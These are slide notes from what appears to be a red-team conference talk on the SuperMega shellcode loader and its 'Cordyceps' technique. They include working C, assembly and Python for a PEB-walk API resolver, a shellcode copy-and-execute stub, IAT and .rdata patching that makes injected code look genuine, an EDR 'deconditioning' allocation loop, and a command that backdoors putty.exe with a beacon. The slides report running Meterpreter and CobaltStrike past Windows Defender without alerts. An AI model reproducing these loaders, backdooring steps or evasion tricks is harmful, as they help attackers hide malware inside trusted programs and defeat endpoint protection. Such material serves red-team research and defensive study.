6	ntdll.dll!NtDelayExecution+0x14	0x3211ff4d8	0x3211ff4d0	0x7ffeb65795be
7	KernelBase.dll!SleepEx+0x9e	0x3211ff4e0	0x3211ff570	0x7ff79a49125c
8	ThreadStackSpoofer.exe!MySleep+0x5c	0x3211ff580	0x3211ff5d0	


Process
.text
Unbacked shellcode
Stack
NtApi
OS
EDR
Query Callstack
Patch Stack

Image Spoofing


notepad.exe
Start Suspended
C2
Overwrite Memory
.text
Resume Process

Module Stomping


notepad.exe
C2
LoadLibrary(“openssl.dll”)
Overwrite Memory
Start Thread
openssl.dll
.text

Memory Encryption


Active
.text
.data
Sleep()
Sleep
.text
encrypted
.data
encrypted
EDR
Memory Scan

Commandline & PPID Spoofing


Process
PEB
ImageName
CommandLine
Query
EDR

Detect: Commandline



Detect: Parent Process PPID



EDR Attacks Summary

Userspace-hook patch	*Modifying backed RX memory region*
ETW patch	*Modifying backed RX memory region*
Image Spoofing	*Modifying backed RX memory region*
Module Stomping	*Modifying backed RX memory region*
Memory Encryption	Modifying unbacked RX memory region
Callstack spoofing	Modify process/thread stack
Commandline spoofing	Overwrite commandline in PEB
PPID spoofing	PROCINFO on ProcessCreate(), in EPROCESS

SuperMega Loader
Cordyceps Technique


program.exe
Carrier
Payload
encoded
=
Loader
Loader
PIC,
Shellcode
Putty, 7zip, ...

Malware Detection:
Code Similary Scanning

Compare code in EXE files with known bad

- Find new versions of malware
- Find code of existing malware in new files
- “Are QBot and PikaBot related?”
- “This looks like QBot”



- Some vendors emerged (the one’s we know of)
  - 2004: Zynamics (BinDiff / BinNavi), later acquired by Google
  - 2015: Intezer (Israel)
  - 2017: Deepbits (US)
  - 2018: Threatray (Swiss)
  - 2019: Glimps (France)

Machine Learning

1) Train Neural Network on malware files
2) ???
3) Profit?

But, what is the similarity in the following malware?

- Mimikatz
- CobaltStrike
- Nmap
- Metasploit
- Qbot
- Rubeus
- Psexec



I Bought 25 Million Computer Viruses - VX Underground Malware HDD

File injection:

- Harder to find the malicious code
  - Lots of “code”
  - Code similarity searches fail
  - No “Good code stuffing”
- Existing Meta information in the PE
  - Metadata like Company, Issuer
  - Imports / IAT
- Whats the alternative?
  - Write your own loader which results in a 5kb file?
  - EXES generated from C2 frameworks?
  - Burned Public loaders?



Basic File Injection



```
PE Backdooring <mode> consists of two comma-separated options.
First one denotes where to store shellcode, second how to run it:

<mode>

    save,run
      |   |
      |   +---------- 1 - change AddressOfEntryPoint
      |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
      |               3 - setup TLS callback
      |               4 - hijack branching instruction at DLL Exported function (use -e to specify export
to hook)
      |
      +-------------- 1 - store shellcode in the middle of a code section
                      2 - append shellcode to the PE file in a new PE section
Example:

    py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
```

Disassembled PE Entry Point (main)

main()

```
sub rsp,28
jmp procexp64.infected.7FF7510F1C44
add rsp,28
jmp procexp64.infected.7FF751161C04
int3
int3
mov qword ptr ss:[rsp+10],rbx
mov qword ptr ss:[rsp+18],rsi
push rdi
sub rsp,10
xor eax,eax
xor ecx,ecx
```

shellcode

```
and rsp,FFFFFFFFFFFFFFF0
call procexp64.infected.7FF7510F1C4D
sub rsp,38
call procexp64.infected.7FF7510F1D4F
test eax,eax
je procexp64.infected.7FF7510F1C64
mov eax,1
jmp procexp64.infected.7FF7510F1D13
call procexp64.infected.7FF7510F1D53
call procexp64.infected.7FF7510F1D52
mov r9d,4
mov r8d,3000
mov edx,1B1
xor ecx,ecx
call qword ptr ds:[<VirtualAlloc>]
mov qword ptr ss:[rsp+28],rax
```

SuperMega

Shellcode generation



From a C project, through assembly, to shellcode

v 1.2

by hasherezade for @vxunderground

```
char *dest = VirtualAlloc(
  NULL, 202844, 0x3000, RW);

for (int n=0; n<202844; n++) {
  dest[n] = supermega_payload[n];
}

if (MyVirtualProtect(
    dest, 202844, RX, &res) == 0) {
  return 7;
}

(*(void(*)())(dest))();
```

```
$LN4@main:
        cmp     DWORD PTR n$1[rsp], 433
        jge     SHORT $LN3@main
; Line 94
        movsxd  rax, DWORD PTR n$1[rsp]
        movsxd  rcx, DWORD PTR n$1[rsp]
        mov     rdx, QWORD PTR dest$[rsp]
        mov     r8, QWORD PTR supermega_payload
        movzx   eax, BYTE PTR [r8+rax]
        mov     BYTE PTR [rdx+rcx], al
; Line 95
        jmp     SHORT $LN2@main
$LN3@main:
; Line 97
        lea     r9, QWORD PTR result$[rsp]
        mov     r8d, 32
        mov     edx, 433
        mov     rcx, QWORD PTR dest$[rsp]
        call    MyVirtualProtect
        test    eax, eax
        jne     SHORT $LN6@main
; Line 98
        mov     eax, 7
        jmp     SHORT $LN1@main
```

SuperMega: Shellcode Creation



Demo SuperMega UI

- C -> ASM
- Phases
- Options

Cordyceps

Improve “From C project, through assembly, to shellcode”
Goal:

- Less signaturable
- Less obviously malware

Make it look as genuine as possible



Cordyceps

Original Loader PEB Walk

Calling functions in shellcode:

- Locate the PEB
- Access Ldr data structure: PEB->Ldr
  - Traverse module list (find “ntdll.dll”)
    - Get export table of module
    - Resolve function address


PEB Walk
Find this
NO
kernel32.dll
VirtualAllocEx
WinApi
Ntdll.dll
NtAllocateVirtualMemory
NtApi
syscall
Kernel
NtAllocateVirtualMemory

```
int main()
{
    wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
    LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
    if (!base) {
        return 1;
    }
    char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
    LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
    if (!load_lib) {
        return 2;
    }
    char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
    LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
    if (!get_proc) {
        return 3;
    }
    HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
    FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName)
        = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;

    // ntdll.dll: GetEnvironmentVariableW()
```

PEB Walk

```
inline LPVOID get_module_by_name(WCHAR * module_name)
{
    PPEB peb = NULL;
#if defined(_WIN64)
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY list = ldr->InLoadOrderModuleList;
    PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
    PLDR_DATA_TABLE_ENTRY curr_module = Flink;
    while (curr_module != NULL && curr_module->BaseAddress != NULL) {
        if (curr_module->BaseDllName.Buffer == NULL) continue;
        WCHAR* curr_name = curr_module->BaseDllName.Buffer;
        size_t i = 0;
        for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
            WCHAR c1, c2;
            TO_LOWERCASE(c1, module_name[i]);
            TO_LOWERCASE(c2, curr_name[i]);
            if (c1 != c2) break;
        }
        if (module_name[i] == 0 && curr_name[i] == 0) {
            //found
            return curr_module->BaseAddress;
        }
        // not found, try next:
        curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrde
    }
    return NULL;
}
```

```
inline LPVOID get_func_by_name(LPVOID module, char* func_name)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EX
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }
    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;
    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

        //go through names:
        for (SIZE_T i = 0; i < namesCount; i++) {
            DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
            WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
            DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
            LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
            size_t k = 0;
            for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
                if (func_name[k] != curr_name[k]) break;
            }
            if (func_name[k] == 0 && curr_name[k] == 0) {
                //found
                return (BYTE*)module + (*funcRVA);
            }
        }
    return NULL;
}
```

- Why cant we call functions like the program itself?
  - Avoiding the PEB walk

```
sub rsp,28
xor r9d,r9d
lea r8,qword ptr ds:[<L"test">]
lea rdx,qword ptr ds:[<L"Test">]
xor ecx,ecx
call qword ptr ds:[<&MessageBoxW>]
xor eax,eax
add rsp,28
ret
```

IAT calls

The normal way

IAT Call

```
00000001400001017    FF15 63100000    call qword ptr ds:[<&MessageBoxW>]
```

Call iat:
MessageBoxW



Call **User32.dll**:
MessageBoxW()

Call IAT:

IAT:

Offset	Name	Func. Count	Bound?	OriginalFirstThun	TimeDateStamp	Forwarder	NameRVA	FirstThunk
1ABC	KERNEL32.dll	15	FALSE	2970	0	0	2B24	2000
1AD0	USER32.dll	1	FALSE	29F0	0	0	2B40	2080
1AF4	VCRUNTIME140...	5	FALSE	2A00	0	0	2BA2	2090

USER32.dll [1 entry]

Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
2080	MessageBoxW	-	2B32	2B32	-	28B

6 bytes

```
00000001400001017    FF15 63100000    call qword ptr ds:[<&MessageBoxW>]
```

0x140001**017 + 0x1063 - 6 =** 0x140002**080**

Offset	Name	Func. Count	Bound?	OriginalFirstThun	TimeDateStamp	Forwarder	NameRVA	FirstThunk
1ABC	KERNEL32.dll	15	FALSE	2970	0	0	2B24	2000
1AD0	USER32.dll	1	FALSE	29F0	0	0	2B40	2080
1AF4	VCRUNTIME140...	5	FALSE	2A00	0	0	2BA2	2090

USER32.dll [1 entry]

Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
2080	MessageBoxW	-	2B32	2B32	-	28B

0x140002**080**

Cordyceps

IAT Reuse

Cordyceps: IAT reuse

IAT reuse:

- Goal: Get rid of PEB_WALK
- Solution: Relative call to IAT

Problem:

- MASM doesnt support relative call’s
- Solution: Patch shellcode in the infected binary

Cordyceps: IAT reuse

```
int main()
{
    // Execution Guardrail: Env Check
    wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
    wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
    WCHAR buffer[1024];  // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
    DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
    if (result == 0) {
        return 6;
    }
```

Cordyceps: IAT reuse

```
_DATA   SEGMENT
COMM    dobin:QWORD
_DATA   ENDS
PUBLIC  main
PUBLIC  mystrcmp
EXTRN   __imp_GetEnvironmentVariableW:PROC
EXTRN   __imp_VirtualAlloc:PROC
```

```
; Line 11
    mov r8d, 1024                ; 00000400H
    lea rdx, QWORD PTR buffer$[rsp]
    lea rcx, QWORD PTR envVarName$[rsp]
    call    QWORD PTR __imp_GetEnvironmentVariableW
    mov DWORD PTR result$[rsp], eax
```

Cordyceps: IAT reuse

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```
_DATA   SEGMENT
COMM    dobin:QWORD
_DATA   ENDS
PUBLIC  main
PUBLIC  mystrcmp
EXTRN   __imp_GetEnvironmentVariableW:PROC
EXTRN   __imp_VirtualAlloc:PROC
```

```
; Line 11
    mov r8d, 1024                   ; 00000400H
    lea rdx, QWORD PTR buffer$[rsp]
    lea rcx, QWORD PTR envVarName$[rsp]
    DB 0d8H, 04aH, 0ccH, 009H, 026H, 09eH
```

Cordyceps: IAT reuse



- Find RVA of placeholder (*\xd8\x4a\xcc\x09\x26\x9e*)
- Find RVA of IAT entry (*GetEnvironmentVariableW()*)
- Create relative “call” instruction
- Replace placeholder with “call” instruction

Note: This is not IAT hooking, its normal IAT usage

```python
def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
    # Calculate the relative offset
    # For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
    offset = destination_address - current_address
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]")
    machine_code = bytes(encoding)
    return machine_code
```

Cordyceps: IAT reuse

```
; Line 11
    mov r8d, 1024                ; 00000400H
    lea rdx, QWORD PTR buffer$[rsp]
    lea rcx, QWORD PTR envVarName$[rsp]
    call    QWORD PTR __imp_GetEnvironmentVariableW
    mov DWORD PTR result$[rsp], eax
```

```
; Line 11
    mov r8d, 1024                ; 00000400H
    lea rdx, QWORD PTR buffer$[rsp]
    lea rcx, QWORD PTR envVarName$[rsp]
    DB 0d8H, 04aH, 0ccH, 009H, 026H, 09eH
```

Replaced

```
00000001400012F0   41:B8 00040000      mov r8d,400                              exe_common.inl:295
00000001400012F6   48:8D5424 70        lea rdx,qword ptr ss:[rsp+70]            rdx:pre_c_initialization+B4
00000001400012FB   48:8D4C24 28        lea rcx,qword ptr ss:[rsp+28]
0000000140001300   FF15 020D0000       call qword ptr ds:[<&GetEnvironmentVari  exe_main.cpp:15
```

RVA of call address + RVA IAT = call with offset

Demo SuperMega UI

- Templates

Cordyceps

.rdata Reuse

Problem: Shellcode Data Reference

Shellcode is code only
How to handle data? (function call arguments)

```
sub rsp,28
xor r9d,r9d
lea r8,qword ptr ds:[<L"test">]
lea rdx,qword ptr ds:[<L"Test">]
xor ecx,ecx
call qword ptr ds:[<&MessageBoxW>]
xor eax,eax
add rsp,28
ret
```

Problem: Shellcode Data Reference

```
wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
```

Instruct compiler to push data on stack

```
mov     eax, 107                                ; 0000006bH k
mov     WORD PTR kernel32_dll_name$[rsp], ax
mov     eax, 101                                ; 00000065H e
mov     WORD PTR kernel32_dll_name$[rsp+2], ax
mov     eax, 114                                ; 00000072H r
mov     WORD PTR kernel32_dll_name$[rsp+4], ax
mov     eax, 110                                ; 0000006eH n
mov     WORD PTR kernel32_dll_name$[rsp+6], ax
mov     eax, 101                                ; 00000065H e
mov     WORD PTR kernel32_dll_name$[rsp+8], ax
mov     eax, 108                                ; 0000006cH l
mov     WORD PTR kernel32_dll_name$[rsp+10], ax
```

Problem: Shellcode Data Reference

Or, alternatively:

- Interleave data in code
- Jump over it

```
        lea     rax, QWORD PTR msg_content$[rsp]

        CALL after_$SG72694
$SG72694 DB     'Hello World!', 00H
after_$SG72694:

        POP   rcx
```

Both solutions look suspicious

Solution similar to IAT-reuse:

- Inject data into .rdata section
- Patch shellcode in exe to reference it
  - Relative load



Cordyceps: .rdata reuse





Cordyceps Technique

Cordyceps Technique - Zombie



Cordyceps:
Inject shellcode into executable .text

Patch injected shellcode:

- IAT reuse
- .rdata reuse

Result: Cant differentiate from genuine program

- No IOC’s
- No shellcode detection possible

The restrictions of shellcode dont apply when EXE injections is performed

Like in “The last of us”

Demo: Demo 3 Metasploit Meterpreter execution

- Defender: No detection
- MDE: Detection

Anti EDR

Goal: Avoid Memory Scan Trigger

File Carrier / Loader With Encrypted Payload



Unencrypted Payload



- High performance required
- Little information available
- A lot of noise in the system

- Focus: **Unbacked memory**
  - Unbacked RWX memory
  - Threads starting in unbacked memory
  - Calls into kernel from unbacked memory
  - Unbacked RX memory (going RW)
- Backed = already AV Scanned



What will trigger a Memory Scan?

1 VirtualAlloc RW
2 memcpy
3 VirtualProtect RX
4 CreateNewThread()

1 VirtualAlloc(RW)
2 memcpy
3 VirtualProtect RX
4 jmp

Cordyceps

EDR deconditioning

Make EDR tired of scanning our memory
Copy carrier functionality

Sirallocalot:

- Do 10 times:
  - Do 100 times:
    - Alloc memory RW with shellcode_len
    - Copy fake data into memory
    - Change to RX
    - Leave it for a bit
  - Free 100

```
void antiemulation() {
    void* allocs[{{SIR_ALLOC_COUNT}}];
    DWORD result;

    for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) {
        for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
            allocs[n] = VirtualAlloc(
                NULL,
                {{PAYLOAD_LEN}},
                0x3000,
                p_RW
            );
            char *ptr = allocs[n];

            // write every byte of it
            for(int i=0; i<{{PAYLOAD_LEN}}; i++) {
                ptr[i] = 0x23;
            }
        }

        for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
            if (VirtualProtect(
                allocs[n],
                {{PAYLOAD_LEN}},
                p_RX,
                &result) == 0)
            {
                return;
            }
        }

        BOOL bSuccess;
        for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
            bSuccess = VirtualFree(
                            allocs[n],
                            {{PAYLOAD_LEN}},
                            0x00008000); // MEM_RELEASE
        }
    }
}
```

EDR Deconditioning

Like pavlov's dogs

Ring the bell a lot



Demo with sirallocalot MDE

Conclusion

- It seems there is not enough information to identify loader based on telemetry
  - Only Process / Thread / Image loads
  - Loader doesnt use networking, file or registry access
- Telemetry may be there for loader mischief
  - unbacked RW -> RX changes
  - Modifying backed regions
  - But not used

Loader is integrated in **backed image section**

- Makes it trustworthy





Supermega:

- No signature
  - Or easy changeable
- Very little telemetry
  - All look normal
  - From backed memory
- Will not trigger mem scan
  - But susceptible to on-demand mem scan
  - pe-sieve, moneta

Anti EDR Techniques used for SuperMega Loader

RedTeam Technique	Applied?	Aka	Examples
ETW patch?	No	ETW bypass	
Usermode-hook patch?	No	AMSI patch, EDR Unhooking	RefleXXion, ScareCrow
Module stomping?	No	DLL stomping	
Image spoofing?	No	Process Hollowing	
Memory encryption?	No	Sleepmask	Ekko, Gargoyle, Foliage
direct/indirect syscalls?	No	EDR bypass	SysWhisper 1/2/3, Hells Gate, Halos gate
Callstack spoofing?	No		
Mess with other process?	No	Process injection	
PPID or Argument spoofing?	No		

EDR Checkboxes for SuperMega Loader

Carrier code signatured?	No
Windows API Calls coming from unbacked memory?	No
Windows API Calls have a suspicious callstack?	No
Change memory region from RX to RW?	No
Hardware / Software breakpoints?	No
APC calls?	No
Unbacked RWX memory?	No
Unbacked RX memory?	**Yes**
Suspicious sleep state?	No
Reflective DLL used?	No

Payload should not do fancy memory things

- No Stagers
- No Reflective DLL

Staged:
windows/meterpreter/reverse_http

Stageless:
windows/meterpreter_reverse_http

```
Name                  Current Setting  Required  Description
----                  ---------------  --------  -----------
AutoLoadStdapi        true             yes       Automatically load the Stdapi extension
```

Loader vs. Payload



Loader loads the payload

- CobaltStrike, Sliver, Brute ratel, havoc…
- Give the payload best possible changes

C2 should protect itself

- Leave it to the experts
  - Memory encryption
  - Callstacks

EDR: Query Overview



Loader Design

When doing your own loader:



- EDR bypass really necessary? (usermode hook patching)
- Strong encryption / entropy really important?
- Focus on:
  - Backed memory
  - No RWX
  - No RX -> RW
  - Clean Callstacks
- Careful with process injection

Alternatives:

- DLL Sideloading

SuperMega & Cordyceps
With Anti-Emulator, and sirallocalot EDR deconditioner

Is able to load:
Nonstaged Winhttp Metasploit with disabled stdapi, and CobaltStrike 4.9 default config

- On Win10/Win11 Defender with no alerts
- On Win11 MDE with low-rated alerts

As of August 2024

- Execution Guardrails are very powerful
  - Do them early
- Injecting shellcode into .exe's is… nice
  - Looks genuine. Can thwart automated analysis
  - Makes manual analysis maybe a bit harder
  - Different than creating your own malicious exe's
  - Different than shellcode inject through some other means
- Injecting shellcode into .dll's is cool
- SuperMega loader is… ok
  - Writing C to inject as shellcode into an .exe is a nice workflow to have
  - Good against file based scanning
  - Not a super special new anti EDR or memory scanning
  - But difficult of being AV sig'ed
- RWX reuse maybe better against memory analysis tools
- Need framework for loader-chaining

My First Shellcode Loader
- Using Linux exploit development know-how
- Learning a lot about Windows

My Last Shellcode Loader
- Works forever
- Debugging sucks



More details:
https://blog.deeb.ch/posts/how-edr-works
https://blog.deeb.ch/posts/exe-injection
https://blog.deeb.ch/posts/supermega

SuperMega Loader:
https://github.com/dobin/SuperMega

Soon:
https://github.com/dobin/RedEdr

Matt Hand - Evading EDR
https://github.com/hasherezade/masm_shc
From a C project through assembly, to shellcode
https://www.elastic.co/security-labs
https://github.com/mgeeky/ProtectMyTooling/blob/master/RedBackdoorer.py





#HITB2022SIN EDR Evasion Primer For Red Teamers - Jorge Gimenez & Karsten Nohl

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Additional Loader Tricks

- Inject dll in .text (pre-loaded, encrypted)
- Fixup:
  - RW it (part of .text)
  - Decrypt, apply reloc's etc.
  - RX it again
- Result: DLL in modified .text
  - **Backed** memory region





Undersized alloc trick

VirtualProtect sets the permission of the page(s) (4kb)
Use size=1, get the other 4095 bytes for free
EDR will only scan 1 byte?

```
// Use size 1, still change all the page
VirtualProtect(shellcode_rw, 1, RX)
```

UPX as EXE

- UPX has RWX sections
  - Obfuscate payload with Shikata ga nai obfuscator


Proposal
CobaltStrike 4.10
Loader
CobaltStrike
“Stub”
CobaltStrike
Backend
CobaltStrike
Caller